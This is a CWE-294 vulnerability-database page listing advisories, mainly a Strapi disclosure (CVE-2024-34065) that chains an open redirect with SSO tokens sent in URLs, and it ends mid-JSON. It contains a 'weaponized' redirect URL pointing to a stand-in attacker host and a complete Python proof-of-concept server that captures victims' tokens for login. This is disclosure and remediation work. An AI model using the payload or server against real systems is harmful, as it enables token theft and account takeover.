Common Weakness Enumeration

CWE-294

Allowed

Authentication Bypass by Capture-replay

Abstraction: Base · Status: Incomplete

A capture-replay flaw exists when the design of the product makes it possible for a malicious user to sniff network traffic and bypass authentication by replaying it to the server in question to the same effect as the original message (or with minor changes).

342 vulnerabilities reference this CWE, most recent first.

GHSA-W82C-75F7-QR29

Vulnerability from github – Published: 2022-05-24 17:34 – Updated: 2026-06-05 21:31
VLAI
Details

Western Digital iNAND devices through 2020-06-03 allow Authentication Bypass via a capture-replay attack.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-13799"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-294"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-18T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Western Digital iNAND devices through 2020-06-03 allow Authentication Bypass via a capture-replay attack.",
  "id": "GHSA-w82c-75f7-qr29",
  "modified": "2026-06-05T21:31:49Z",
  "published": "2022-05-24T17:34:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13799"
    },
    {
      "type": "WEB",
      "url": "https://www.kb.cert.org/vuls/id/231329"
    },
    {
      "type": "WEB",
      "url": "https://www.westerndigital.com/support/productsecurity/wdc-20008-replay-attack-vulnerabilities-rpmb-protocol-applications"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WRVH-RCMR-9QFC

Vulnerability from github – Published: 2024-06-12 19:39 – Updated: 2024-06-12 19:39
VLAI
Summary
@strapi/plugin-users-permissions leaks 3rd party authentication tokens and authentication bypass
Details

Summary

By combining two vulnerabilities (an Open Redirect and session token sent as URL query parameter) in Strapi framework is its possible of an unauthenticated attacker to bypass authentication mechanisms and retrieve the 3rd party tokens. The attack requires user interaction (one click).

Impact

Unauthenticated attackers can leverage two vulnerabilities to obtain an 3rd party token and the bypass authentication of Strapi apps.

Technical details

Vulnerability 1: Open Redirect

Description

Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain.

In the specific context of Strapi, this vulnerability allows the SSO token to be stolen, allowing an attacker to authenticate himself within the application.

Remediation

If possible, applications should avoid incorporating user-controllable data into redirection targets. In many cases, this behavior can be avoided in two ways:

  • Remove the redirection function from the application, and replace links to it with direct links to the relevant target URLs.
  • Maintain a server-side list of all URLs that are permitted for redirection. Instead of passing the target URL as a parameter to the redirector, pass an index into this list.

If it is considered unavoidable for the redirection function to receive user-controllable input and incorporate this into the redirection target, one of the following measures should be used to minimize the risk of redirection attacks:

  • The application should use relative URLs in all of its redirects, and the redirection function should strictly validate that the URL received is a relative URL.
  • The application should use URLs relative to the web root for all of its redirects, and the redirection function should validate that the URL received starts with a slash character. It should then prepend http://yourdomainname.com to the URL before issuing the redirect.
Example 1: Open Redirect in /api/connect/microsoft via $_GET["callback"]
  • Path: /api/connect/microsoft
  • Parameter: $_GET["callback"]

Payload:

https://google.fr/

Final payload:

https://<TARGET>/api/connect/microsoft?callback=https://google.fr/

User clicks on the link: c1

Look at the intercepted request in Burp and see the redirect to Microsoft:

c0

Microsoft check the cookies and redirects to the original domain (and route) but with different GET parameters.

Then, the page redirects to the domain controlled by the attacker (and a token is added to controlled the URL):

c2

The domain originally specified (https://google.fr) as $_GET["callback"] parameter is present in the cookies. So \<TARGET> is using the cookies (koa.sess) to redirect.

c3

koa.sess cookie:

eyJncmFudCI6eyJwcm92aWRlciI6Im1pY3Jvc29mdCIsImR5bmFtaWMiOnsiY2FsbGJhY2siOiJodHRwczovL2dvb2dsZS5mci8ifX0sIl9leHBpcmUiOjE3MDAyMzQyNDQyNjMsIl9tYXhBZ2UiOjg2NDAwMDAwfQ==
{"grant":{"provider":"microsoft","dynamic":{"callback":"https://google.fr/"}},"_expire":1700234244263,"_maxAge":86400000}

The vulnerability seems to come from the application's core:

File: packages/plugins/users-permissions/server/controllers/auth.js

'use strict';

/**
 * Auth.js controller
 *
 * @description: A set of functions called "actions" for managing `Auth`.
 */

/* eslint-disable no-useless-escape */
const crypto = require('crypto');
const _ = require('lodash');
const { concat, compact, isArray } = require('lodash/fp');
const utils = require('@strapi/utils');
const {
  contentTypes: { getNonWritableAttributes },
} = require('@strapi/utils');
const { getService } = require('../utils');
const {
  validateCallbackBody,
  validateRegisterBody,
  validateSendEmailConfirmationBody,
  validateForgotPasswordBody,
  validateResetPasswordBody,
  validateEmailConfirmationBody,
  validateChangePasswordBody,
} = require('./validation/auth');

const { getAbsoluteAdminUrl, getAbsoluteServerUrl, sanitize } = utils;
const { ApplicationError, ValidationError, ForbiddenError } = utils.errors;

const sanitizeUser = (user, ctx) => {
  const { auth } = ctx.state;
  const userSchema = strapi.getModel('plugin::users-permissions.user');

  return sanitize.contentAPI.output(user, userSchema, { auth });
};

module.exports = {
  async callback(ctx) {
    const provider = ctx.params.provider || 'local';
    const params = ctx.request.body;

    const store = strapi.store({ type: 'plugin', name: 'users-permissions' });
    const grantSettings = await store.get({ key: 'grant' });

    const grantProvider = provider === 'local' ? 'email' : provider;

    if (!_.get(grantSettings, [grantProvider, 'enabled'])) {
      throw new ApplicationError('This provider is disabled');
    }

    if (provider === 'local') {
      await validateCallbackBody(params);

      const { identifier } = params;

      // Check if the user exists.
      const user = await strapi.query('plugin::users-permissions.user').findOne({
        where: {
          provider,
          $or: [{ email: identifier.toLowerCase() }, { username: identifier }],
        },
      });

      if (!user) {
        throw new ValidationError('Invalid identifier or password');
      }

      if (!user.password) {
        throw new ValidationError('Invalid identifier or password');
      }

      const validPassword = await getService('user').validatePassword(
        params.password,
        user.password
      );

      if (!validPassword) {
        throw new ValidationError('Invalid identifier or password');
      }

      const advancedSettings = await store.get({ key: 'advanced' });
      const requiresConfirmation = _.get(advancedSettings, 'email_confirmation');

      if (requiresConfirmation && user.confirmed !== true) {
        throw new ApplicationError('Your account email is not confirmed');
      }

      if (user.blocked === true) {
        throw new ApplicationError('Your account has been blocked by an administrator');
      }

      return ctx.send({
        jwt: getService('jwt').issue({ id: user.id }),
        user: await sanitizeUser(user, ctx),
      });
    }

    // Connect the user with the third-party provider.
    try {
      const user = await getService('providers').connect(provider, ctx.query);

      if (user.blocked) {
        throw new ForbiddenError('Your account has been blocked by an administrator');
      }

      return ctx.send({
        jwt: getService('jwt').issue({ id: user.id }),
        user: await sanitizeUser(user, ctx),
      });
    } catch (error) {
      throw new ApplicationError(error.message);
    }
  },

  //...

  async connect(ctx, next) {
    const grant = require('grant-koa');

    const providers = await strapi
      .store({ type: 'plugin', name: 'users-permissions', key: 'grant' })
      .get();

    const apiPrefix = strapi.config.get('api.rest.prefix');
    const grantConfig = {
      defaults: {
        prefix: `${apiPrefix}/connect`,
      },
      ...providers,
    };

    const [requestPath] = ctx.request.url.split('?');
    const provider = requestPath.split('/connect/')[1].split('/')[0];

    if (!_.get(grantConfig[provider], 'enabled')) {
      throw new ApplicationError('This provider is disabled');
    }

    if (!strapi.config.server.url.startsWith('http')) {
      strapi.log.warn(
        'You are using a third party provider for login. Make sure to set an absolute url in config/server.js. More info here: https://docs.strapi.io/developer-docs/latest/plugins/users-permissions.html#setting-up-the-server-url'
      );
    }

    // Ability to pass OAuth callback dynamically
    grantConfig[provider].callback =
      _.get(ctx, 'query.callback') ||
      _.get(ctx, 'session.grant.dynamic.callback') ||
      grantConfig[provider].callback;
    grantConfig[provider].redirect_uri = getService('providers').buildRedirectUri(provider);

    return grant(grantConfig)(ctx, next);
  },

  //...

};

And more specifically:

...

    // Ability to pass OAuth callback dynamically
    grantConfig[provider].callback =
      _.get(ctx, 'query.callback') ||
      _.get(ctx, 'session.grant.dynamic.callback') ||
      grantConfig[provider].callback;
    grantConfig[provider].redirect_uri = getService('providers').buildRedirectUri(provider);

    return grant(grantConfig)(ctx, next);
...

Possible patch:

grantConfig[provider].callback = process.env[`${provider.toUpperCase()}_REDIRECT_URL`] || grantConfig[provider].callback

_.get(ctx, 'query.callback') = $_GET["callback"] and _.get(ctx, 'session') = $_COOKIE["koa.sess"] (which is {"grant":{"provider":"microsoft","dynamic":{"callback":"https://XXXXXXX/"}},"_expire":1701275652123,"_maxAge":86400000}) so _.get(ctx, 'session.grant.dynamic.callback') = https://XXXXXXX/.

The route is clearly defined here:

File: packages/plugins/users-permissions/server/routes/content-api/auth.js

'use strict';

module.exports = [

//...

  {
    method: 'GET',
    path: '/auth/:provider/callback',
    handler: 'auth.callback',
    config: {
      prefix: '',
    },
  },

  //...

];

File: packages/plugins/users-permissions/server/services/providers-registry.js


const getInitialProviders = ({ purest }) => ({

//..

  async microsoft({ accessToken }) {
    const microsoft = purest({ provider: 'microsoft' });

    return microsoft
      .get('me')
      .auth(accessToken)
      .request()
      .then(({ body }) => ({
        username: body.userPrincipalName,
        email: body.userPrincipalName,
      }));
  },

//..

});

If parameter $_GET["callback"] is defined in the GET request, the assignment does not evaluate all conditions, but stops at the beginning. The value is then stored in the cookie koa.sess:

koa.sess=eyJncmFudCI6eyJwcm92aWRlciI6Im1pY3Jvc29mdCIsImR5bmFtaWMiOnsiY2FsbGJhY2siOiJodHRwczovL2FkbWluLmludGUubmV0YXRtby5jb20vdXNlcnMvYXV0aC9yZWRpcmVjdCJ9fSwiX2V4cGlyZSI6MTcwMTI3NTY1MjEyMywiX21heEFnZSI6ODY0MDAwMDB9

Which once base64 decoded become {"grant":{"provider":"microsoft","dynamic":{"callback":"https://<TARGET>/users/auth/redirect"}},"_expire":1701275652123,"_maxAge":86400000}.

The signature of the cookie is stored in cookie koa.sess.sig:

koa.sess.sig=wTRmcVRrn88hWMdg84VvSD87-_0

File: packages/plugins/users-permissions/server/bootstrap/grant-config.js


//..

  microsoft: {
    enabled: false,
    icon: 'windows',
    key: '',
    secret: '',
    callback: `${baseURL}/microsoft/callback`,
    scope: ['user.read'],
  },

//..

Vulnerability 2: Session token in URL

Description

Applications should not send session tokens as URL query parameters and use instead an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.

Example 1: SSO token transmitted within URL ($_GET["access_token"])
  • Path: /api/connect/microsoft
  • Parameter: $_GET["callback"]

When a callback was called, the 3rd party token was transmitted in an insecure way within the URL, which could be used to increase the impact of the Open Redirect vulnerability described previously by stealing the SSO token.

Weaponized payload:

https://<TARGET>/api/connect/microsoft?callback=http://<C2>:8080/

With a web server specially developed to exploit the vulnerability listening on \<C2>:8080, it is possible to retrieve a JWT token allowing authentication on Strapi.

A user is on his browser when he decides to click on a link sent to him by e-mail.

c4

The attacker places the malicious link in the URL bar to simulate a victim's click.

c5

The server specially developed by the attacker to show that the vulnerability is exploitable, recovers the user's SSO token.

Everything is invisible to the victim.

c6

Because the victim didn't change to another Web page.

c7

The attacker can use the SSO token to authenticate himself within the application and retrieve a valid JWT token enabling him to interact with it.

c8

Details
Get the JWT token with the access_token

First of all, thanks to the SSO token, you authenticate yourself and get a JWT token to be able to interact with the various API routes.

Request (HTTP):

GET /api/auth/microsoft/callback?access_token=eyJ0eXAiOiJKV<REDACTED>yBzA HTTP/1.1
Host: <TARGET>

Response (HTTP):

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 27 Nov 2023 17:58:46 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 411
Connection: keep-alive
Content-Security-Policy: connect-src 'self' https:;img-src 'self' data: blob: https://market-assets.strapi.io;media-src 'self' data: blob:;default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline'
Referrer-Policy: no-referrer
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-DNS-Prefetch-Control: off
X-Download-Options: noopen
X-Frame-Options: SAMEORIGIN
X-Permitted-Cross-Domain-Policies: none
Vary: Origin
X-XSS-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Powered-By: <REDACTED>

{"jwt":"eyJhbG<REDACTED>eCac","user":{"id":111,"username":"<REDACTED>@<REDACTED>-ext.com","email":"<redacted>@<redacted>-ext.com","provider":"microsoft","confirmed":true,"blocked":false,"createdAt":"2023-11-14T12:35:42.440Z","updatedAt":"2023-11-16T21:00:19.241Z","is_external":false}}
Request API routes using the JWT token

Then reuse the JWT token to request the API.

Request (HTTP):

GET /api/users/me/groups?app=support HTTP/1.1
Host: <TARGET>
Authorization: Bearer eyJ<REDACTED>EeCac

Response (HTTP):

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 28 Nov 2023 13:45:42 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 24684
Connection: keep-alive
Content-Security-Policy: connect-src 'self' https:;img-src 'self' data: blob: https://market-assets.strapi.io;media-src 'self' data: blob:;default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline'
Referrer-Policy: no-referrer
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-DNS-Prefetch-Control: off
X-Download-Options: noopen
X-Frame-Options: SAMEORIGIN
X-Permitted-Cross-Domain-Policies: none
Vary: Origin
X-RateLimit-Limit: 10
X-RateLimit-Remaining: 9
X-RateLimit-Reset: 1701179203
X-XSS-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Powered-By: <REDACTED>

{"apps":{"support":{"groups":[{"device_whitelist":null,"name":"test - support","id":10,"group_privileges":[{"id":37,<REDACTED>

...

POC (Web server stealing SSO token and retrieving JWT token then bypassing authentication)

import base64
import json
import urllib.parse

from http.server import BaseHTTPRequestHandler, HTTPServer
from sys import argv


# Strapi URL.
TARGET = "target.com"

# URLs to which victims are automatically redirected.
REDIRECT_URL = [
    "strapi.io",
    "www.google.fr"
]
# URL used to generate a valid JWT token for authentication within the
# application.
GEN_JWT_URL = f"https://{TARGET}/api/auth/microsoft/callback"


# This function is used to generate a curl command which once executed, will
# give us a valid JWT connection token.
def generate_curl_command(token):
    command = f"curl '{GEN_JWT_URL}?access_token={token}'"
    return command


# We create a custom HTTP server to retrieve users' SSO tokens.
class CustomServer(BaseHTTPRequestHandler):

    # Here we override the default logging function to reduce verbosity.
    def log_message(self, format, *args):
        pass

    # This function automatically redirects a user to the page defined in the
    # global variable linked to the redirection.
    def _set_response(self):
        self.send_response(302)
        self.send_header("Location", REDIRECT_URL[0])
        self.end_headers()

    # If an SSO token is present, we parse it and log the result in STDOUT.
    def do_GET(self):
        # This condition checks whether a token is present in the URL.
        if str(self.path).find("access_token") != -1:
            # If this is the case, we recover the token.
            query = urllib.parse.urlparse(self.path).query
            query_components = dict(qc.split("=") for qc in query.split("&"))
            access_token = urllib.parse.unquote(query_components["access_token"])

            # In the token, which is a string in JWT format, we retrieve the
            # body part of the token.
            interesting_data = access_token.split(".")[1]

            # Patching base64 encoded data.
            interesting_data = interesting_data + "=" * (-len(interesting_data) % 4)

            # Parsing JSON.
            json_data = json.loads(base64.b64decode(interesting_data.encode()))
            family_name, given_name, ipaddr, upn = json_data["given_name"], json_data["family_name"], json_data["ipaddr"], json_data["upn"]

            print(f"[+] Token captured for {family_name} {given_name}, {upn} ({ipaddr}):\n{access_token}\n")
            print(f"[*] Run: \"{generate_curl_command(query_components['access_token'])}\" to get JWT token")

        self._set_response()
        self.wfile.write("Redirecting ...".encode("utf-8"))


def run(server_class=HTTPServer, handler_class=CustomServer, ip="0.0.0.0", port=8080):
    server_address = (ip, port)
    httpd = server_class(server_address, handler_class)

    print(f"Starting httpd ({ip}:{port}) ...")
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass

    httpd.server_close()
    print("Stopping httpd ...")


if __name__ == "__main__":
    if len(argv) == 3:
        run(ip=argv[1], port=int(argv[2]))
    else:
        run()
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@strapi/plugin-users-permissions"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.24.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-34065"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-294",
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-12T19:39:11Z",
    "nvd_published_at": "2024-06-12T15:15:51Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nBy combining two vulnerabilities (an `Open Redirect` and `session token sent as URL query parameter`) in Strapi framework is its possible of an unauthenticated attacker to bypass authentication mechanisms and retrieve the 3rd party tokens. The attack requires user interaction (one click).\n\n### Impact\n\nUnauthenticated attackers can leverage two vulnerabilities to obtain an 3rd party token and the bypass authentication of Strapi apps.\n\n### Technical details\n\n#### Vulnerability 1: Open Redirect\n\n##### Description\n\nOpen redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain.\n\nIn the specific context of Strapi, this vulnerability allows the SSO token to be stolen, allowing an attacker to authenticate himself within the application.\n\n##### Remediation\n\nIf possible, applications should avoid incorporating user-controllable data into redirection targets. In many cases, this behavior can be avoided in two ways:\n\n- Remove the redirection function from the application, and replace links to it with direct links to the relevant target URLs.\n- Maintain a server-side list of all URLs that are permitted for redirection. Instead of passing the target URL as a parameter to the redirector, pass an index into this list.\n\nIf it is considered unavoidable for the redirection function to receive user-controllable input and incorporate this into the redirection target, one of the following measures should be used to minimize the risk of redirection attacks:\n\n- The application should use relative URLs in all of its redirects, and the redirection function should strictly validate that the URL received is a relative URL.\n- The application should use URLs relative to the web root for all of its redirects, and the redirection function should validate that the URL received starts with a slash character. It should then prepend \u003cspan dir=\"\"\u003ehttp://yourdomainname.com\u003c/span\u003e to the URL before issuing the redirect.\n\n###### Example 1: Open Redirect in \u003cspan dir=\"\"\u003e/api/connect/microsoft\u003c/span\u003e via `$_GET[\"callback\"]`\n\n- Path: \u003cspan dir=\"\"\u003e/api/connect/microsoft\u003c/span\u003e\n- Parameter: `$_GET[\"callback\"]`\n\nPayload:\n\n```plaintext\nhttps://google.fr/\n```\n\nFinal payload:\n\n```plaintext\nhttps://\u003cTARGET\u003e/api/connect/microsoft?callback=https://google.fr/\n```\n\nUser clicks on the link:\n![c1](https://github.com/strapi/strapi/assets/30262080/c1944cf8-2ef0-4214-ba9e-d4aad10d85ba)\n\nLook at the intercepted request in Burp and see the redirect to Microsoft:\n\n![c0](https://github.com/strapi/strapi/assets/30262080/0c3d9289-432c-46ac-a7e3-eafe15f02483)\n\nMicrosoft check the cookies and redirects to the original domain (and route) but with different GET parameters.\n\nThen, the page redirects to the domain controlled by the attacker (and a token is added to controlled the URL):\n\n![c2](https://github.com/strapi/strapi/assets/30262080/009e3898-1ccf-4ee4-9c29-496ff6b302d0)\n\nThe domain originally specified (https://google.fr) as `$_GET[\"callback\"]` parameter is present in the cookies. So \u003cspan dir=\"\"\u003e\\\u003cTARGET\\\u003e\u003c/span\u003e is using the cookies (`koa.sess`) to redirect.\n\n![c3](https://github.com/strapi/strapi/assets/30262080/4c25cb6c-c9e8-4c2d-aa61-1ad1442e5f4d)\n\n`koa.sess` cookie:\n\n```base64\neyJncmFudCI6eyJwcm92aWRlciI6Im1pY3Jvc29mdCIsImR5bmFtaWMiOnsiY2FsbGJhY2siOiJodHRwczovL2dvb2dsZS5mci8ifX0sIl9leHBpcmUiOjE3MDAyMzQyNDQyNjMsIl9tYXhBZ2UiOjg2NDAwMDAwfQ==\n```\n\n```json\n{\"grant\":{\"provider\":\"microsoft\",\"dynamic\":{\"callback\":\"https://google.fr/\"}},\"_expire\":1700234244263,\"_maxAge\":86400000}\n```\n\nThe vulnerability seems to come from the application\u0027s core:\n\nFile: [\u003cspan dir=\"\"\u003epackages/plugins/users-permissions/server/controllers/auth.js\u003c/span\u003e](https://github.com/strapi/strapi/blob/develop/packages/plugins/users-permissions/server/controllers/auth.js)\n\n```js\n\u0027use strict\u0027;\n\n/**\n * Auth.js controller\n *\n * @description: A set of functions called \"actions\" for managing `Auth`.\n */\n\n/* eslint-disable no-useless-escape */\nconst crypto = require(\u0027crypto\u0027);\nconst _ = require(\u0027lodash\u0027);\nconst { concat, compact, isArray } = require(\u0027lodash/fp\u0027);\nconst utils = require(\u0027@strapi/utils\u0027);\nconst {\n  contentTypes: { getNonWritableAttributes },\n} = require(\u0027@strapi/utils\u0027);\nconst { getService } = require(\u0027../utils\u0027);\nconst {\n  validateCallbackBody,\n  validateRegisterBody,\n  validateSendEmailConfirmationBody,\n  validateForgotPasswordBody,\n  validateResetPasswordBody,\n  validateEmailConfirmationBody,\n  validateChangePasswordBody,\n} = require(\u0027./validation/auth\u0027);\n\nconst { getAbsoluteAdminUrl, getAbsoluteServerUrl, sanitize } = utils;\nconst { ApplicationError, ValidationError, ForbiddenError } = utils.errors;\n\nconst sanitizeUser = (user, ctx) =\u003e {\n  const { auth } = ctx.state;\n  const userSchema = strapi.getModel(\u0027plugin::users-permissions.user\u0027);\n\n  return sanitize.contentAPI.output(user, userSchema, { auth });\n};\n\nmodule.exports = {\n  async callback(ctx) {\n    const provider = ctx.params.provider || \u0027local\u0027;\n    const params = ctx.request.body;\n\n    const store = strapi.store({ type: \u0027plugin\u0027, name: \u0027users-permissions\u0027 });\n    const grantSettings = await store.get({ key: \u0027grant\u0027 });\n\n    const grantProvider = provider === \u0027local\u0027 ? \u0027email\u0027 : provider;\n\n    if (!_.get(grantSettings, [grantProvider, \u0027enabled\u0027])) {\n      throw new ApplicationError(\u0027This provider is disabled\u0027);\n    }\n\n    if (provider === \u0027local\u0027) {\n      await validateCallbackBody(params);\n\n      const { identifier } = params;\n\n      // Check if the user exists.\n      const user = await strapi.query(\u0027plugin::users-permissions.user\u0027).findOne({\n        where: {\n          provider,\n          $or: [{ email: identifier.toLowerCase() }, { username: identifier }],\n        },\n      });\n\n      if (!user) {\n        throw new ValidationError(\u0027Invalid identifier or password\u0027);\n      }\n\n      if (!user.password) {\n        throw new ValidationError(\u0027Invalid identifier or password\u0027);\n      }\n\n      const validPassword = await getService(\u0027user\u0027).validatePassword(\n        params.password,\n        user.password\n      );\n\n      if (!validPassword) {\n        throw new ValidationError(\u0027Invalid identifier or password\u0027);\n      }\n\n      const advancedSettings = await store.get({ key: \u0027advanced\u0027 });\n      const requiresConfirmation = _.get(advancedSettings, \u0027email_confirmation\u0027);\n\n      if (requiresConfirmation \u0026\u0026 user.confirmed !== true) {\n        throw new ApplicationError(\u0027Your account email is not confirmed\u0027);\n      }\n\n      if (user.blocked === true) {\n        throw new ApplicationError(\u0027Your account has been blocked by an administrator\u0027);\n      }\n\n      return ctx.send({\n        jwt: getService(\u0027jwt\u0027).issue({ id: user.id }),\n        user: await sanitizeUser(user, ctx),\n      });\n    }\n\n    // Connect the user with the third-party provider.\n    try {\n      const user = await getService(\u0027providers\u0027).connect(provider, ctx.query);\n\n      if (user.blocked) {\n        throw new ForbiddenError(\u0027Your account has been blocked by an administrator\u0027);\n      }\n\n      return ctx.send({\n        jwt: getService(\u0027jwt\u0027).issue({ id: user.id }),\n        user: await sanitizeUser(user, ctx),\n      });\n    } catch (error) {\n      throw new ApplicationError(error.message);\n    }\n  },\n\n  //...\n\n  async connect(ctx, next) {\n    const grant = require(\u0027grant-koa\u0027);\n\n    const providers = await strapi\n      .store({ type: \u0027plugin\u0027, name: \u0027users-permissions\u0027, key: \u0027grant\u0027 })\n      .get();\n\n    const apiPrefix = strapi.config.get(\u0027api.rest.prefix\u0027);\n    const grantConfig = {\n      defaults: {\n        prefix: `${apiPrefix}/connect`,\n      },\n      ...providers,\n    };\n\n    const [requestPath] = ctx.request.url.split(\u0027?\u0027);\n    const provider = requestPath.split(\u0027/connect/\u0027)[1].split(\u0027/\u0027)[0];\n\n    if (!_.get(grantConfig[provider], \u0027enabled\u0027)) {\n      throw new ApplicationError(\u0027This provider is disabled\u0027);\n    }\n\n    if (!strapi.config.server.url.startsWith(\u0027http\u0027)) {\n      strapi.log.warn(\n        \u0027You are using a third party provider for login. Make sure to set an absolute url in config/server.js. More info here: https://docs.strapi.io/developer-docs/latest/plugins/users-permissions.html#setting-up-the-server-url\u0027\n      );\n    }\n\n    // Ability to pass OAuth callback dynamically\n    grantConfig[provider].callback =\n      _.get(ctx, \u0027query.callback\u0027) ||\n      _.get(ctx, \u0027session.grant.dynamic.callback\u0027) ||\n      grantConfig[provider].callback;\n    grantConfig[provider].redirect_uri = getService(\u0027providers\u0027).buildRedirectUri(provider);\n\n    return grant(grantConfig)(ctx, next);\n  },\n\n  //...\n\n};\n```\n\nAnd more specifically:\n\n```js\n...\n\n    // Ability to pass OAuth callback dynamically\n    grantConfig[provider].callback =\n      _.get(ctx, \u0027query.callback\u0027) ||\n      _.get(ctx, \u0027session.grant.dynamic.callback\u0027) ||\n      grantConfig[provider].callback;\n    grantConfig[provider].redirect_uri = getService(\u0027providers\u0027).buildRedirectUri(provider);\n\n    return grant(grantConfig)(ctx, next);\n...\n```\n\nPossible patch:\n\n```js\ngrantConfig[provider].callback = process.env[`${provider.toUpperCase()}_REDIRECT_URL`] || grantConfig[provider].callback\n```\n\n`_.get(ctx, \u0027query.callback\u0027)` = `$_GET[\"callback\"]` and `_.get(ctx, \u0027session\u0027)` = `$_COOKIE[\"koa.sess\"]` (which is `{\"grant\":{\"provider\":\"microsoft\",\"dynamic\":{\"callback\":\"https://XXXXXXX/\"}},\"_expire\":1701275652123,\"_maxAge\":86400000}`) so `_.get(ctx, \u0027session.grant.dynamic.callback\u0027)` = `https://XXXXXXX/`.\n\nThe route is clearly defined here:\n\nFile: [\u003cspan dir=\"\"\u003epackages/plugins/users-permissions/server/routes/content-api/auth.js\u003c/span\u003e](https://github.com/strapi/strapi/blob/develop/packages/plugins/users-permissions/server/routes/content-api/auth.js)\n\n```js\n\u0027use strict\u0027;\n\nmodule.exports = [\n\n//...\n\n  {\n    method: \u0027GET\u0027,\n    path: \u0027/auth/:provider/callback\u0027,\n    handler: \u0027auth.callback\u0027,\n    config: {\n      prefix: \u0027\u0027,\n    },\n  },\n\n  //...\n\n];\n```\n\nFile: [\u003cspan dir=\"\"\u003epackages/plugins/users-permissions/server/services/providers-registry.js\u003c/span\u003e](https://github.com/strapi/strapi/blob/develop/packages/plugins/users-permissions/server/services/providers-registry.js)\n\n```js\n\nconst getInitialProviders = ({ purest }) =\u003e ({\n\n//..\n\n  async microsoft({ accessToken }) {\n    const microsoft = purest({ provider: \u0027microsoft\u0027 });\n\n    return microsoft\n      .get(\u0027me\u0027)\n      .auth(accessToken)\n      .request()\n      .then(({ body }) =\u003e ({\n        username: body.userPrincipalName,\n        email: body.userPrincipalName,\n      }));\n  },\n\n//..\n\n});\n```\n\nIf parameter `$_GET[\"callback\"]` is defined in the GET request, the assignment does not evaluate all conditions, but stops at the beginning. The value is then stored in the cookie `koa.sess`:\n\n`koa.sess`=`eyJncmFudCI6eyJwcm92aWRlciI6Im1pY3Jvc29mdCIsImR5bmFtaWMiOnsiY2FsbGJhY2siOiJodHRwczovL2FkbWluLmludGUubmV0YXRtby5jb20vdXNlcnMvYXV0aC9yZWRpcmVjdCJ9fSwiX2V4cGlyZSI6MTcwMTI3NTY1MjEyMywiX21heEFnZSI6ODY0MDAwMDB9`\n\nWhich once base64 decoded become `{\"grant\":{\"provider\":\"microsoft\",\"dynamic\":{\"callback\":\"https://\u003cTARGET\u003e/users/auth/redirect\"}},\"_expire\":1701275652123,\"_maxAge\":86400000}`.\n\nThe signature of the cookie is stored in cookie `koa.sess.sig`:\n\n`koa.sess.sig`=`wTRmcVRrn88hWMdg84VvSD87-_0`\n\nFile: [\u003cspan dir=\"\"\u003epackages/plugins/users-permissions/server/bootstrap/grant-config.js\u003c/span\u003e](https://github.com/strapi/strapi/blob/develop/packages/plugins/users-permissions/server/bootstrap/grant-config.js)\n\n```js\n\n//..\n\n  microsoft: {\n    enabled: false,\n    icon: \u0027windows\u0027,\n    key: \u0027\u0027,\n    secret: \u0027\u0027,\n    callback: `${baseURL}/microsoft/callback`,\n    scope: [\u0027user.read\u0027],\n  },\n\n//..\n```\n\n#### Vulnerability 2: Session token in URL\n\n##### Description\n\nApplications should not send session tokens as URL query parameters and use instead an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.\n\n###### Example 1: SSO token transmitted within URL (`$_GET[\"access_token\"]`)\n\n- Path: \u003cspan dir=\"\"\u003e/api/connect/microsoft\u003c/span\u003e\n- Parameter: `$_GET[\"callback\"]`\n\nWhen a callback was called, the 3rd party token was transmitted in an insecure way within the URL, which could be used to increase the impact of the Open Redirect vulnerability described previously by stealing the SSO token.\n\nWeaponized payload:\n\n```plaintext\nhttps://\u003cTARGET\u003e/api/connect/microsoft?callback=http://\u003cC2\u003e:8080/\n```\n\nWith a web server specially developed to exploit the vulnerability listening on \u003cspan dir=\"\"\u003e\\\u003cC2\\\u003e:8080\u003c/span\u003e,  it is possible to retrieve a JWT token allowing authentication on Strapi.\n\nA user is on his browser when he decides to click on a link sent to him by e-mail.\n\n![c4](https://github.com/strapi/strapi/assets/30262080/c6e22fa1-14a4-4c76-a832-d07305f265b6)\n\n\u003e The attacker places the malicious link in the URL bar to simulate a victim\u0027s click.\n\n![c5](https://github.com/strapi/strapi/assets/30262080/4da28c5b-6501-4f93-9041-9917a2b070e6)\n\nThe server specially developed by the attacker to show that the vulnerability is exploitable, recovers the user\u0027s SSO 